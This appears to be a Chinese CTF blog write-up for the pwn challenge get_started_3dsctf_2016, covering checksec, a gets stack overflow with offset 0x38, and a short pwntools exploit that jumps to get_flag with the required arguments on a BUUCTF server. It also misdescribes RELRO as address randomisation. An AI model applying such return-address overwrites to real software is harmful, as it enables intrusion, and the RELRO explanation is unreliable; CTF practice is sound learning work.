get_started_3dsctf_2016

今天咱们看的是这道题,刚开始把我都看蒙圈了,里面的函数看都看不完,看都看不懂,真的很烦。真的不让小白活呀!!!!,不足的地方请各位师傅给我说说,我就先谢谢各位师傅大佬了。为了使更多小白可以看的懂,我会写的详细一些。

1.checksec

拿到题先干啥,肯定是先checksec,看看是多少位的,都开启了什么保护。

 咱接着复习一下NX,PIE,Stack,RELRO都代表啥。

NX:它会使栈上的数据无法执行,数据执行保护。防止:栈溢出+跳到栈上执行shellcode

Stack:No canary found :就是未发现栈保护。

RELRO:堆栈地址随机化。防止:所有遇到堆栈精确地址的攻击,要想成功,必须提前泄露地址。

PIE:代码地址随机化。防止:构造rop链攻击

不要感觉烦昂,其实这些是为了让我记住才这样的,也让一些小白可以了解了解。

咱们接着看这些告诉了我们什么,这个是32位的,开启的NX保护。

2.反汇编

先看一下伪代码

 这里有个gets函数,gets函数是个危险函数,点一下v4

v4就是var_38,就是从var_38到r,需要填充0x38个数据,现在咱知道了偏移量。

紧接着按shift+F12。 

 看见了一个flag.txt,紧接着双击flag.txt,按ctrl+x,看看flag.txt在哪里。

好像在get_flag里面,咱们在Function name找一找。

它就在main函数旁边了,双击进入 

 这里有一个if条件语句,意思就是:假如a1==814536271并且a2=425138641的时候,会执行fopen及一下语句,这样我们就可以得到flag.txt.

3.exp

 先构造一个栈溢出b'a'*(0x38),再将返回地址改为get_flag函数的地址,为了使该exp打远程的时候能正常退出,我们还需要exit函数使得程序正常退出,所以我们还要找一下exit的函数地址,就在function name里面找.(打远程的时候,如果程序异常退出是不会给你回显的。这时候你就需要exit使得程序正常退出

 

地址是0x0804E6A0, 紧接着传入参数a1和a2.

1.exp

from pwn import*

#p=process('./ctf2')
p=remote('node4.buuoj.cn',29508)
get_flag=0x80489A0
exit_addr=0x804E6A0 

payload=b'a'*(0x38)+p32(get_flag)+p32(exit_addr)+p32(814536271)+p32(425138641)
p.sendline(payload)

p.interactive()

有没有人告诉小白,你们到底是怎么想到用mprotect函数,改变执行权限,再用ret2shellcode。我想了好长时间仍不明白,求求各位大佬了。

  • 11
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值